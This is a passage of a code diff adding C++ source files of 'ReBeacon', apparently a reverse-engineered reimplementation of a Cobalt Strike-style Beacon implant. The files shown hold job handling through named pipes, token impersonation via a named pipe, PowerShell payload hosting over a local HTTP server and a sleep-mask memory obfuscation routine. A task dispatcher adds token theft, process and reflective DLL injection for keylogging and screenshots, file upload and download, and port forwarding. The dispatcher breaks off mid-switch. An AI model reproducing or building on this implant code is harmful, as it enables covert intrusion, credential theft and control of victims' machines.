if (temp)
{
temp->Linked = pgBeaconJob->Linked;
free(pgBeaconJob);
pgBeaconJob = pgBeaconJob->Linked;
}
else
{
gBeaconJob = pgBeaconJob->Linked;
BeaconJob* temp1 = gBeaconJob;
free(pgBeaconJob);
pgBeaconJob = temp1;
}
}
else
{
temp = pgBeaconJob;
pgBeaconJob = pgBeaconJob->Linked;
}
}
}
void beacon_JobKill(char* Taskdata, int Task_size)
{
BeaconJob* pBeaconJob = gBeaconJob;
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
int jobid = BeaconDataShort(&pdatap);
while (pBeaconJob)
{
if (pBeaconJob->JobNumber == jobid)
{
pBeaconJob->kill = 1;
}
pBeaconJob = pBeaconJob->Linked;
}
del_beacon_job();
}
BeaconJob* Add_Beacon_0Job(HANDLE hProcess,HANDLE hThread,int dwProcessId,int dwThreadId,HANDLE hReadPipe,HANDLE hWritePipe,const char* jobname)
{
BeaconJob* pBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob));
pBeaconJob->pHandle = hProcess;
pBeaconJob->hThread = hThread;
pBeaconJob->dwProcessId = dwProcessId;
pBeaconJob->dwThreadId = dwThreadId;
pBeaconJob->Linked = 0;
pBeaconJob->hReadPipe = hReadPipe;
pBeaconJob->hWritePipe = hWritePipe;
pBeaconJob->state = 0;
pBeaconJob->kill = 0;
pBeaconJob->JobType = 0;
pBeaconJob->JobProcessPid = dwProcessId;
pBeaconJob->lasting = 0;
_snprintf(pBeaconJob->JobName, 0x40u, "%s", jobname);
Add_Beacon_Job(pBeaconJob);
return pBeaconJob;
}
int ReadPipeData(HANDLE hNamedPipe, char* buffer)
{
DWORD TotalBytesAvail;
if (!PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0))
{
return -1;
}
if (!TotalBytesAvail)
{
return 0;
}
int size;
if (RecvSmbData(hNamedPipe,(char*)&size, 4) == 4 && size <= 0x80000)
{
return RecvSmbData(hNamedPipe, buffer, size);
}
return -1;
}
DWORD sub_10005837(HANDLE hNamedPipe, char* lpBuffer)
{
DWORD NumberOfBytesRead = 0;
DWORD TotalBytesAvail;
int size=0;
while (1)
{
if (!PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0))
{
return -1;
}
if (!TotalBytesAvail || size >= 0x80000)
{
break;
}
ReadFile(hNamedPipe, lpBuffer, 0x80000 - size, &NumberOfBytesRead, 0);
size += NumberOfBytesRead;
lpBuffer += NumberOfBytesRead;
}
return NumberOfBytesRead;
}
//************************************
// Method: CheckJobOutput
// FullName: CheckJobOutput
// Access: public
// Returns: void
// Qualifier:检查job任务命名管道是否有输出如果有则返回给server
//************************************
void CheckJobOutput()
{
BeaconJob* pgBeaconJob = gBeaconJob;
if (pgBeaconJob)
{
char* read_data = (char*)malloc(0x80000u);
int read_size;
do
{
HANDLE hReadPipe = pgBeaconJob->hReadPipe;
if (pgBeaconJob->lasting == 1)
{
read_size = ReadPipeData(hReadPipe, read_data);
}
else
{
read_size = sub_10005837(hReadPipe, read_data);
}
if (read_size > 0)
{
BeaconTaskOutput(read_data, read_size, pgBeaconJob->JobType);
}
if (pgBeaconJob->state == 1 && read_size == -1 || !pgBeaconJob->state && WaitForSingleObject(pgBeaconJob->pHandle, 0) != 0x102)
{
pgBeaconJob->kill = 1;
}
if (pgBeaconJob->lasting != 1 || read_size <= 0)
{
pgBeaconJob = pgBeaconJob->Linked;
}
} while (pgBeaconJob);
memset(read_data, 0, 0x80000);
free(read_data);
del_beacon_job();
}
}

44
ReBeacon_Src/BeaconJob.h Normal file
View File

@ -0,0 +1,44 @@
#pragma once
#include "Utils.h"
#include "common.h"
#include "comm.h"
#define JobNameMAX 64
#pragma pack(1)
struct BeaconJob
{
int JobNumber;
HANDLE pHandle;
HANDLE hThread;
int dwProcessId;
int dwThreadId;
HANDLE hReadPipe;
HANDLE hWritePipe;
BeaconJob* Linked;
BOOL state;
BOOL kill;
int JobProcessPid;
int JobType;
short lasting;
char JobName[JobNameMAX];
};
#pragma pack()
//ÈÎÎñÊýÁ¿
extern int g_job_Number;
extern BeaconJob* gBeaconJob;
void BeaconBackstageJob(int FlagsAndAttributes, char* Taskdata, int Task_size, int lasting);
void CheckTimeout(HANDLE hNamedPipe, int timeout);
void beacon_jobs();
void beacon_JobKill(char* Taskdata, int Task_size);
BOOL ConnectJobPipe(HANDLE* hNamedPipe, int dwFlagsAndAttributes, CHAR* NamedPipeName);
BeaconJob* Add_Beacon_0Job(HANDLE hProcess, HANDLE hThread, int dwProcessId, int dwThreadId, HANDLE hReadPipe, HANDLE hWritePipe, const char* jobname);
void CheckJobOutput();

View File

@ -0,0 +1,375 @@
#include "BeaconLateralMovement.h"
#include "common.h"
HANDLE g_hToken;
HANDLE g_hObject;
HANDLE g_hHandle;
int __stdcall sub_1000A6D3(BeaconBackgroundThreads* pBeaconBackgroundThreads)
{
((void(__stdcall*)(void*))pBeaconBackgroundThreads->StartAddress)(pBeaconBackgroundThreads);
pBeaconBackgroundThreads->pVirtualFree(pBeaconBackgroundThreads, 0, MEM_RELEASE);
return 0;
}
void BeaconNULL1()
{
return;
}
void* sub_1000520B(size_t shellcodesize, void* shellcode)
{
int min_alloc = get_dword(45);
if (shellcodesize > min_alloc)
{
min_alloc = shellcodesize + 1024;
}
int rxw = get_short(43);
PVOID pshellcode = VirtualAlloc(0, min_alloc, 0x3000u, rxw);
if (pshellcode)
{
memcpy(pshellcode, shellcode, shellcodesize);
return CheckMemoryRWX(pshellcode, min_alloc) != 0 ? pshellcode : 0;
}
else
{
BeaconErrorDD(0x1Fu, min_alloc, GetLastError());
return 0;
}
}
void sub_1000A6F9()
{
if (!lpStartAddress)
{
lpStartAddress = sub_1000520B((char*)BeaconNULL1 - (char*)sub_1000A6D3, sub_1000A6D3);
}
}
HANDLE sub_1000A71D(void* plpStartAddress, void* lpParameter)
{
BeaconBackgroundThreads* pBeaconBackgroundThreads;
pBeaconBackgroundThreads = (BeaconBackgroundThreads*)VirtualAlloc(0, sizeof(BeaconBackgroundThreads), 0x3000u, 4u);
pBeaconBackgroundThreads->StartAddress = plpStartAddress;
pBeaconBackgroundThreads->lpParameter = lpParameter;
pBeaconBackgroundThreads->pVirtualFree = VirtualFree;
sub_1000A6F9();
if (lpStartAddress)
{
return CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, pBeaconBackgroundThreads, 0, 0);
}
return (HANDLE)-1;
}
HANDLE BeaconCreateBackgroundThreads(void* lpStartAddress, void* lpParameter)
{
++BackgroundThreadsNumber;
if (get_short(39) == 1)
{
return sub_1000A71D(lpStartAddress, lpParameter);
}
else
{
return CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, 0, 0);
}
}
int sub_10005983(char* pipename, HANDLE* hFile)
{
return ConnectJobPipe(hFile, 0, pipename);
}
void NamedPipesSendData(char* Taskdata, int Task_size)
{
int timeout = GetTickCount() + 60000;
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
char pipename[132];
BeaconDataCopyToBuffer(&pdatap, pipename, 128);
char* databuffer = BeaconDataBuffer(&pdatap);
int length = BeaconDataLength(&pdatap);
HANDLE hFile;
int number=0;
while (!sub_10005983(pipename, &hFile))
{
if (GetLastError() != 53 && GetTickCount() < timeout)
{
Sleep(0x3E8u);
if (++number < 10)
{
continue;
}
}
BeaconTaskError1Output(0x32u, GetLastError(), pipename);
return;
}
DWORD NumberOfBytesWritten;
WriteFile(hFile, &length, 4, &NumberOfBytesWritten, 0);
int writesize = 0;
if (length)
{
do
{
int nNumberOfBytesToWrite = length - writesize;
if (nNumberOfBytesToWrite > 0x2000)
{
nNumberOfBytesToWrite = 0x2000;
}
if (!WriteFile(hFile, &databuffer[writesize], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0))
{
break;
}
writesize = NumberOfBytesWritten + writesize;
} while (writesize < length);
}
FlushFileBuffers(hFile);
DisconnectNamedPipe(hFile);
CloseHandle(hFile);
Sleep(0x3E8u);
}
BeaconMiniHttp* InitMiniHttp(size_t size, SOCKET socket, void* data)
{
BeaconMiniHttp* pBeaconMiniHttp = (BeaconMiniHttp*)malloc(sizeof(BeaconMiniHttp));
pBeaconMiniHttp->socket = socket;
char* payload = (char*)malloc(size);
memcpy(payload, data,size);
pBeaconMiniHttp->payload = payload;
pBeaconMiniHttp->payloadsize = size;
char* httpheader = (char*)malloc(0x100u);
pBeaconMiniHttp->httpheader = httpheader;
_snprintf(
httpheader,
0x100,
"HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nContent-Length: %d\r\n\r\n",
size);
pBeaconMiniHttp->httpheadersize = strlen(httpheader);
pBeaconMiniHttp->rvcedata = (char*)malloc(0x800u);
return pBeaconMiniHttp;
}
void BeaconMiniHttpFree(BeaconMiniHttp* pBeaconMiniHttp)
{
closesocket(pBeaconMiniHttp->socket);
free(pBeaconMiniHttp->payload);
free(pBeaconMiniHttp->rvcedata);
free(pBeaconMiniHttp->httpheader);
free(pBeaconMiniHttp);
}
unsigned int sub_1000AE98(char* buffer, SOCKET s)
{
int size = 0;
while (1)
{
int recvsize = recv(s, &buffer[size], 1, 0);
if (recvsize <= 0)
{
return -1;
}
size += recvsize;
if (size >= 2 && buffer[size - 1] == 10 && buffer[size - 2] == 13)
{
break;
}
if (size >= 0x800)
{
return -1;
}
}
buffer[size - 2] = 0;
return size;
}
void __stdcall StartMiniHttpThread(BeaconMiniHttp* pBeaconMiniHttp)
{
SOCKET S = accept(pBeaconMiniHttp->socket, 0, 0);
if (S == -1)
{
BeaconMiniHttpFree(pBeaconMiniHttp);
}
else
{
while (sub_1000AE98(pBeaconMiniHttp->rvcedata, S) > 2)
{
;
}
send(S, pBeaconMiniHttp->httpheader, pBeaconMiniHttp->httpheadersize, 0);
send(S, pBeaconMiniHttp->payload, pBeaconMiniHttp->payloadsize, 0);
BeaconMiniHttpFree(pBeaconMiniHttp);
closesocket(S);
}
--BackgroundThreadsNumber;
}
void StartHttpWebDelivery(size_t len, u_short port, char* data)
{
sockaddr_in name;
init_socket_options();
SOCKET s = socket(2, 1, 0);
if (s == -1)
{
closesocket(0xFFFFFFFF);
}
else
{
name.sin_family = AF_INET;
name.sin_addr.s_addr = inet_addr("127.0.0.1");
name.sin_port = htons(port);
if (bind(s, (SOCKADDR *)&name, sizeof(sockaddr_in)) == -1 || listen(s, 120) == -1)
{
closesocket(s);
}
else
{
//开启一个http
BeaconMiniHttp* pBeaconMiniHttp = InitMiniHttp(len, s, data);
BeaconCreateBackgroundThreads(StartMiniHttpThread, pBeaconMiniHttp);
}
}
}
void ScriptCradle(char* Taskdata, int Task_size)
{
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
short randomPort =BeaconDataShort(&pdatap);
int szie = BeaconDataLength(&pdatap);
char* powershellscript = (char*)BeaconDataBuffer(&pdatap);
return StartHttpWebDelivery(szie, randomPort, powershellscript);
}
DWORD __stdcall StartNamedPipeThread()
{
char Buffer[128] = {0};
DWORD NumberOfBytesRead = 0;
while (!ConnectNamedPipe(g_hObject, 0) && GetLastError() != 535)
{
;
}
if (ReadFile(g_hObject, Buffer, 1u, &NumberOfBytesRead, 0))
{
if (ImpersonateNamedPipeClient(g_hObject))
{
if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, 0, &g_hToken))
{
if (g_hObject)
{
DisconnectNamedPipe(g_hObject);
CloseHandle(g_hObject);
}
}
}
}
--BackgroundThreadsNumber;
return 0;
}
//************************************
// Method: StartNamedPipeReceiveData
// FullName: StartNamedPipeReceiveData
// Access: public
// Returns: void
// Qualifier:创建一个命名管道准备接收数据
// Parameter: char * Taskdata
// Parameter: int Task_size
//************************************
void StartNamedPipeReceiveData(char* Taskdata, int Task_size)
{
CHAR Name[260];
if (Task_size < 256)
{
memcpy(Name, Taskdata, Task_size);
g_hToken = (HANDLE)-1;
g_hObject = (HANDLE)-1;
g_hHandle = (HANDLE)-1;
Name[Task_size] = 0;
g_hObject = CreateNamedPipeA(Name, 3, 4, 2, 0, 0, 0, 0);
if (g_hObject)
{
g_hHandle = BeaconCreateBackgroundThreads((LPTHREAD_START_ROUTINE)StartNamedPipeThread, 0);
}
}
}
void ImpersonationToken()
{
char usersid[0x200] = { 0 };
if (g_hHandle != (HANDLE)-1)
{
WaitForSingleObject(g_hHandle, 0x3A98u);
}
if (g_hToken == (HANDLE)-1)
{
BeaconErrorNA(1u);
}
else if (ImpersonateLoggedOnUser(g_hToken))
{
pTokenHandle = g_hToken;
if (get_user_sid(0x200u, g_hToken, usersid))
{
BeaconTaskOutput(usersid, strlen(usersid), 0xFu);
}
}
else
{
BeaconErrorD(0xCu, GetLastError());
}
}
/// <summary>
/// powershellpayload与79和37相关
/// </summary>
char* powershellpayload;
void BeaconPowerShellImport(char* Taskdata, int Task_size)
{
if (powershellpayload)
{
free(powershellpayload);
}
powershellpayload = (char*)malloc(Task_size + 1);
memcpy(powershellpayload, Taskdata, Task_size);
powershellpayload[Task_size] = 0;
}
//************************************
// Method: BeaconWebDelivery
// FullName: BeaconWebDelivery
// Access: public
// Returns: void
// Qualifier:通过开启一个http托管文件
// Parameter: char * Taskdata
// Parameter: int Task_size
//************************************
void BeaconWebDelivery(char* Taskdata, int Task_size)
{
if (powershellpayload)
{
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
short port = BeaconDataShort(&pdatap);
StartHttpWebDelivery(strlen(powershellpayload), port, powershellpayload);
}
}

View File

@ -0,0 +1,39 @@
#pragma once
#include "Utils.h"
#include "comm.h"
#include "common.h"
#include "BeaconJob.h"
extern HANDLE g_hToken;
extern HANDLE g_hObject;
extern HANDLE g_hHandle;
struct BeaconMiniHttp
{
SOCKET socket;
int payloadsize;
int httpheadersize;
char* payload;
char* httpheader;
char* rvcedata;
};
struct BeaconBackgroundThreads
{
void* StartAddress;
void* lpParameter;
BOOL(WINAPI * pVirtualFree)(LPVOID,SIZE_T, DWORD);
};
void NamedPipesSendData(char* Taskdata, int Task_size);
void ScriptCradle(char* Taskdata, int Task_size);
void StartNamedPipeReceiveData(char* Taskdata, int Task_size);
void ImpersonationToken();
void BeaconPowerShellImport(char* Taskdata, int Task_size);
void BeaconWebDelivery(char* Taskdata, int Task_size);
void __cdecl CheckDownload(size_t size);

View File

@ -0,0 +1,77 @@
#include "BeaconSleep.h"
SLEEPMASKP* gBeaconSleepMask;
HINSTANCE GetBeaconBase()
{
return Beacon_Dllbase;
}
PVOID SleepEncryptlpAddress;
void sub_1000436C()
{
DWORD flOldProtect;
if (!SleepEncryptlpAddress)
{
int BeaconCode = get_dword(41);
char* Beaconbase = (char*)GetBeaconBase();
VirtualProtect(Beaconbase + BeaconCode, (char*)sub_10004325 - (char*)BeaconSleepMask, 4, &flOldProtect);
SleepEncryptlpAddress = Beaconbase + BeaconCode;
memcpy(SleepEncryptlpAddress, BeaconSleepMask, (char*)sub_10004325 - (char*)BeaconSleepMask);
VirtualProtect(SleepEncryptlpAddress, (char*)sub_10004325 - (char*)BeaconSleepMask, flOldProtect, &flOldProtect);
gBeaconSleepMask = (SLEEPMASKP*)malloc(sizeof(SLEEPMASKP));
gBeaconSleepMask->BeaconBase = (char*)GetBeaconBase();
gBeaconSleepMask->sections = (int*)get_str(42);
random_bytesarray((BYTE*)gBeaconSleepMask->mask, 0xDu);
}
}
void BeaconSleepMask(SLEEPMASKP* parms, pSleep psleep, int time)
{
int* index = parms->sections;
while (true)
{
int a = index[0];
int b = index[1];
if (!a && !b)
{
break;
}
for (; a < b; ++a)
{
parms->BeaconBase[a] ^= parms->mask[a % 13];
}
}
psleep(time);
index = parms->sections;
while (1)
{
int a = index[0];
int b = index[1];
index += 2;
if (!a && !b)
{
break;
}
for (; a < b; ++a)
{
parms->BeaconBase[b] ^= parms->mask[b % 13];
}
}
}
void sub_10004325()
{
sub_1000436C();
}
void BeaconSleep(DWORD dwMilliseconds)
{
//²»ÊÇ·´ÉädllÎÒÃÇÔÝʱ²»ÓÃ
if (get_dword(41) && BackgroundThreadsNumber <= 0)
{
//sub_10004325();
//((void(__cdecl*)(SLEEPMASKP*, void(__stdcall*)(DWORD), DWORD))SleepEncryptlpAddress)(gBeaconSleepMask, Sleep, dwMilliseconds);
Sleep(dwMilliseconds);
}
else
{
Sleep(dwMilliseconds);
}
}

View File

@ -0,0 +1,16 @@
#pragma once
#include "Global.h"
#include "Utils.h"
#include "encrypt_decrypt.h"
struct SLEEPMASKP
{
char* BeaconBase;
int* sections;
char mask[13];
};
extern SLEEPMASKP* gBeaconSleepMask;
typedef void (__stdcall* pSleep)(_In_ DWORD dwMilliseconds);
void sub_1000436C();
void BeaconSleepMask(SLEEPMASKP* parms, pSleep psleep, int time);
void sub_10004325();
void BeaconSleep(DWORD dwMilliseconds);

624
ReBeacon_Src/BeaconTask.cpp Normal file
View File

@ -0,0 +1,624 @@
#include "BeaconTask.h"
#include "Utils.h"
#include "common.h"
#include "comm.h"
#include "ChildBeacon.h"
#include "BeaconJob.h"
#include "Beaconrportfwd.h"
#include "BeaconFileManage.h"
#include "BeaconLateralMovement.h"
#include "BeaconInject.h"
#include "BeaconBof.h"
void BeaconSleep(char* Taskdata, int Taskdata_size)
{
datap pdatap;
if (g_dwMilliseconds)
{
BeaconDataParse(&pdatap, Taskdata, Taskdata_size);
g_dwMilliseconds = BeaconDataInt(&pdatap);
g_jitter = BeaconDataInt(&pdatap);
if (!g_jitter || g_jitter > 99)
{
g_jitter = 0;
}
}
}
/// <summary>
/// beacon cd命令
/// </summary>
/// <param name="Taskdata"></param>
/// <param name="Task_size"></param>
void BeaconCd(char* Taskdata, size_t Task_size)
{
CHAR PathName[1024];
if (Task_size <= 1023)
{
strncpy(PathName, Taskdata, Task_size);
PathName[Task_size] = 0;
SetCurrentDirectoryA(PathName);
}
}
void beacon_upload(char* Taskdata, size_t Task_size, char* Mode)
{
datap pdatap;
char* Buffer = (char*)malloc(1024);
if (Buffer)
{
BeaconDataParse(&pdatap, Taskdata, Task_size);
if (!BeaconDataCopyToBuffer(&pdatap, Buffer, 1024))
{
free(Buffer);
return;
}
FILE* fp = fopen(Buffer, Mode); // 打开文件
if (fp != (FILE*)-1 && fp)
{
int size = BeaconDataLength(&pdatap);
char* data = BeaconDataBuffer(&pdatap);
fwrite(data, 1, size, fp);
fclose(fp);
free(Buffer);
return;
}
free(Buffer);
BeaconErrorD(8, GetLastError());
}
}
/// <summary>
/// Beacon download命令
/// </summary>
/// <param name="Taskdata"></param>
/// <param name="Tasksize"></param>
void beacon_download(char* Taskdata, int Tasksize)
{
datap* pdatap = BeaconDataInit(0x1000);
char* filename = BeaconDataPtr(pdatap, 2048);
char* lpBuffer = BeaconDataPtr(pdatap, 2048);
datap Taskdatap;
BeaconDataParse(&Taskdatap, Taskdata, Tasksize);
BeaconDataCopyNToBuffer(&Taskdatap, filename, 2048);
FILE* fp = fopen(filename, "rb");
if (fp == (FILE*)-1 || !fp)
{
BeaconTaskErrorOutput(0x28, 0, 0, filename);
BeaconDataFree(pdatap);
return;
}
fseek(fp, 0, 2);
__int64 fpsize = _ftelli64(fp);
fseek(fp, 0, 0);
if (__PAIR64__(HIDWORD(fpsize), fpsize) - 1 >= 0xFFFFFFFF)
{
BeaconTaskErrorOutput(0x3Cu, 0, 0, filename);
BeaconDataFree(pdatap);
fclose(fp);
return;
}
DWORD path_size = GetFullPathNameA(filename, 0x800, lpBuffer, 0);
if (! path_size || path_size > 0x800)
{
BeaconTaskErrorOutput(0x3D, 0, 0, filename);
BeaconDataFree(pdatap);
fclose(fp);
return;
}
BeaconDownload* pBeaconDownload = (BeaconDownload*)malloc(sizeof(BeaconDownload));
pBeaconDownload->number = download_number++;
pBeaconDownload->Linked = gBeaconDownload;
pBeaconDownload->fp = fp;
pBeaconDownload->size = fpsize;
gBeaconDownload = pBeaconDownload;
formatp pformatp;
BeaconFormatAlloc(&pformatp, 0x1000);
BeaconFormatInt(&pformatp, pBeaconDownload->number);
BeaconFormatInt(&pformatp, fpsize);
BeaconFormatAppend(&pformatp, lpBuffer, path_size);
int length = BeaconFormatlength(&pformatp);
char* buffer = BeaconFormatOriginalPtr(&pformatp);
BeaconTaskOutput(buffer, length, 2);
BeaconFormatFree(&pformatp);
BeaconDataFree(pdatap);
}
/// <summary>
/// 处理Beacon execute命令
/// </summary>
/// <param name="Taskdata"></param>
/// <param name="Task_size"></param>
void beacon_execute(char* Taskdata, size_t Task_size)
{
char Path[1024];
STARTUPINFOA StartupInfo = { 0 };
StartupInfo.cb = sizeof(STARTUPINFOA);
_PROCESS_INFORMATION processInfo = {0};
GetStartupInfoA(&StartupInfo);
StartupInfo.dwFlags = 257;
StartupInfo.wShowWindow = 0;
StartupInfo.hStdOutput = 0;
StartupInfo.hStdError = 0;
StartupInfo.lpDesktop = 0;
if (Task_size <= 1023)
{
strncpy(Path, Taskdata, Task_size);
Path[Task_size] = 0;
BeaconExecuteCommand(Path, Task_size, &StartupInfo, &processInfo, 0, 0);
BeaconcloseAllHandle(&processInfo);
}
}
/// <summary>
/// 处理Beacon spawnto命令x86对应功能号13 x86对应功能号x64
/// 当Task_size
/// </summary>
/// <param name="Taskdata">路径</param>
/// <param name="Task_size">大小</param>
/// <param name="x86">架构</param>
void beacon_SpawnTo(char* Taskdata, size_t Task_size, int x86)
{
//这里的BeaconDataInit不需要释放这是全局变量
if (!spawntoPath_x86 && !spawntoPath_x64)
{
datap* datap = BeaconDataInit(0x200);
spawntoPath_x86 = BeaconDataPtr(datap, 256);
spawntoPath_x64 = BeaconDataPtr(datap, 256);
}
//当task等于0时会清除先前的设置
if (Task_size && Task_size <= 256)
{
if (x86)
{
memset(spawntoPath_x86, 0, 0x100);
memcpy(spawntoPath_x86, Taskdata, Task_size);
}
else
{
memset(spawntoPath_x64, 0, 0x100);
memcpy(spawntoPath_x64, Taskdata, Task_size);
}
}
else
{
memset(spawntoPath_x86, 0, 0x100u);
memset(spawntoPath_x64, 0, 0x100u);
}
return;
}
void BeaconVNCReflectiveDLL(char* Taskdata, int Task_size, BOOL x86)
{
short vnc_port = ntohs(*(short*)Taskdata);
BeaconSpawnX86(1, Taskdata + 2, Task_size - 2, x86);
vnc_port = htons(vnc_port);
BeaconTaskOutput((char*)&vnc_port, 2, 7);
}
/// <summary>
/// 和vnc反射注入有关
/// </summary>
/// <param name="Taskdata"></param>
/// <param name="Task_size"></param>
/// <param name="x86"></param>
void BeaconVNCInject(char* Taskdata, int Task_size, int x86)
{
BeaconReflectiveDLLInject(Taskdata + 2, Task_size - 2, x86);
short size = htons(ntohs(*(u_long*)Taskdata));
BeaconTaskOutput((char*)&size, 2, 7);
}
void SpawnProcessInjection(int timeout,int p_offset,char* payload,size_t payloadsize,char* arg,int a_len,char* jobname,BOOL x86,int ignoreToken)
{
check_close_token_fake(ignoreToken);
PROCESS_INFORMATION pi = {0};
HANDLE hReadPipe;
HANDLE hWritePipe;
SECURITY_ATTRIBUTES PipeAttributes = {0};
PipeAttributes.lpSecurityDescriptor = 0;
PipeAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
PipeAttributes.bInheritHandle = 1;
CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0x100000u);
STARTUPINFOA StartupInfo = { 0 };
StartupInfo.cb = sizeof(STARTUPINFOA);
GetStartupInfoA(&StartupInfo);
StartupInfo.hStdInput = 0;
StartupInfo.wShowWindow = 0;
StartupInfo.hStdOutput = hWritePipe;
StartupInfo.hStdError = hWritePipe;
StartupInfo.dwFlags = 257;
if (BeaconSpawnTemporaryProcess(x86, ignoreToken, &StartupInfo, &pi))
{
Sleep(0x64u);
ProcessInject(pi.dwProcessId, &pi, pi.hProcess, payload, payloadsize, p_offset, arg, a_len);
if (timeout)
{
CheckTimeout(hReadPipe, timeout);
}
Add_Beacon_0Job(pi.hProcess, pi.hThread, pi.dwProcessId, pi.dwThreadId, hReadPipe, hWritePipe, jobname);
}
check_restore_token_fake(ignoreToken);
}
void __cdecl SpawnProcessInjectionJob(char* Taskdata, int Task_size, int x86, int ignoreToken)
{
datap* pdatap = BeaconDataInit(0x40u);
char* jobname = BeaconDataPtr(pdatap, 64);
datap ptaskdatp;
BeaconDataParse(&ptaskdatp, Taskdata, Task_size);
BeaconDataShort(&ptaskdatp);
short timeout = BeaconDataShort(&ptaskdatp);
int p_offset = BeaconDataInt(&ptaskdatp);
BeaconDataCopyToBuffer(&ptaskdatp, jobname, 64);
int a_len = BeaconDataInt(&ptaskdatp);
char* arg;
if (a_len)
{
arg = BeaconDataPtr(&ptaskdatp, a_len);
}
else
{
arg = 0;
}
int payloadsize = BeaconDataLength(&ptaskdatp);
char* payload = BeaconDataBuffer(&ptaskdatp);
SpawnProcessInjection(timeout, p_offset, payload, payloadsize, arg, a_len, jobname, x86, ignoreToken);
BeaconDataClear(pdatap);
BeaconDataFree(pdatap);
}
void beacon_runu(char* Taskdata, int Task_size)
{
STARTUPINFOA StartupInfo = { 0 };
PROCESS_INFORMATION pi;
StartupInfo.cb = sizeof(STARTUPINFOA);
GetStartupInfoA(&StartupInfo);
StartupInfo.dwFlags = 257;
StartupInfo.wShowWindow = 0;
StartupInfo.hStdInput = 0;
StartupInfo.hStdOutput = 0;
StartupInfo.hStdError = 0;
datap* pdatap = BeaconDataInit(0x2000u);
char* cmd = BeaconDataPtr(pdatap, 0x2000);
datap taskdatap;
BeaconDataParse(&taskdatap, Taskdata, Task_size);
int PPID = BeaconDataInt(&taskdatap);
BeaconDataCopyToBuffer(&taskdatap, cmd, 0x2000);
BeaconCreateProcess(cmd, strlen(cmd), &StartupInfo, &pi, 16, 0, PPID);
BeaconDataClearFree(pdatap);
BeaconcloseAllHandle(&pi);
}
void Task_handle(char* Taskdata, size_t Task_size, int Task_id)
{
switch (Task_id)
{
case 1:
BeaconSpawnX86(1, Taskdata, Task_size, 1);
return;
case 3:
Beacon_end(); // exit Beacon
return;
case 4:
BeaconSleep(Taskdata, Task_size); //sleep
return;
case 5:
BeaconCd(Taskdata, Task_size); // cd
return;
case 9:
BeaconReflectiveDLLInject(Taskdata, Task_size, 1);// x86 内部反射dll注入 实现keyLogger Printscreen PsInject Screenshot Screenwatch之类的
return;
case 10:
beacon_upload(Taskdata, Task_size, (char*)"wb");// 处理所有向目标上传文件的操作 uploadelevate[sve-exe]
return;
case 11:
beacon_download(Taskdata, Task_size); // 下载文件
return;
case 12:
beacon_execute(Taskdata, Task_size); // execute
return;
case 13:
beacon_SpawnTo(Taskdata, Task_size, 1);
return;
////////////////////
case 14:
sub_10006B2B(Taskdata, Task_size);
return;
case 15:
sub_10006CFC(Taskdata, Task_size);
return;
case 16:
{
BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd;
u_long unknown = ntohl(*(u_long*)Taskdata);
while (pgBeaconRportfwd)
{
if (pgBeaconRportfwd->state && unknown == pgBeaconRportfwd->field_0 && pgBeaconRportfwd->field_10 != 2)
{
pgBeaconRportfwd->state = 0;
}
pgBeaconRportfwd = pgBeaconRportfwd->Linked;
}
return;
}
case 17:
sub_10006ACD(Taskdata);
return;
////////////////////
case 18:
BeaconVNCReflectiveDLL(Taskdata, Task_size, 1); // 和vnc反射dll注入有关
return;
case 19:
{
//取消下载
BeaconDownload* pgBeaconDownload = gBeaconDownload;
int v4 = ntohl(*(DWORD*)Taskdata);
while (pgBeaconDownload)
{
if (pgBeaconDownload->number == v4)
{
fclose(pgBeaconDownload->fp);
pgBeaconDownload->size = 0;
}
pgBeaconDownload = pgBeaconDownload->Linked;
}
return;
}
case 22:
//请求子beacon
BeaconRequestChildBeacon(Taskdata, Task_size);
return;
case 23:
BeaconUnlink(ntohl(*(u_long*)Taskdata));// unlink
return;
case 24:
{
int ChildBeaconId = ntohl(*(u_long*)Taskdata);
int i;
for (i = 0; i <= gChildBeaconInfoSize; i++)
{
if (ChildBeaconId == gChildBeaconInfo[i].ChildBeaconId || gChildBeaconInfo[i].state == 1)
{
break;
}
if (i >= gChildBeaconInfoSize)
{
return;
}
}
BeaconTaskOutput(gChildBeaconInfo[i].ChildBeaconData, gChildBeaconInfo[i].ChildBeaconDataSize, 10);
return;
}
case 27:
beacon_GetUID(); // GetUID
return;
case 28:
BeaconRevertToken(); // Rev2Self
return;
case 31:
beacon_steal_token(Taskdata, Task_size);// steal_token
return;
case 32:
beacon_ps(Taskdata, Task_size); // ps
return;
case 33:
beacon_Kill(Taskdata, Task_size); // Kill
return;
case 37:
BeaconPowerShellImport(Taskdata, Task_size); // 37 powershellImport
return;
case 38:
beacon_RunAs(Taskdata, Task_size); // RunAs
return;
case 39:
beacon_pwd(); // pwd
return;
case 40:
BeaconBackstageJob(0, Taskdata, Task_size, 0);
return;
case 41:
beacon_jobs(); // jobs
return;
case 42:
beacon_JobKill(Taskdata, Task_size); // JobKill
return;
case 43:
BeaconReflectiveDLLInject(Taskdata, Task_size, 0);// beacon_Inject
return;
case 44:
BeaconSpawnX86(1, Taskdata, Task_size, 0); // cs自身功能需要创建进程的spawn ShellcodeSpawn SpawnAndTunnel
return;
case 45: // 45和46 和vnc注入有关
BeaconVNCInject(Taskdata, Task_size, 1);
return;
case 46:
BeaconVNCInject(Taskdata, Task_size, 0);
return;
case 47:
BeaconSleepN(Taskdata, Task_size);
return;
case 49:
beacon_make_token(Taskdata, Task_size); // make_token
return;
case 50:
sub_100071B7(Taskdata, Task_size, 0); // PortForward,PortForwardLocal rportfwd start
return;
case 51:
sub_1000728D(Taskdata, Task_size); // rportfwd Stop
return;
case 52:
SendStageTCP(Taskdata, Task_size);
return;
case 53:
BeaconLs(Taskdata, Task_size); // 文件浏览器相关
return;
case 54:
beacon_MkDir(Taskdata, Task_size); // MkDir
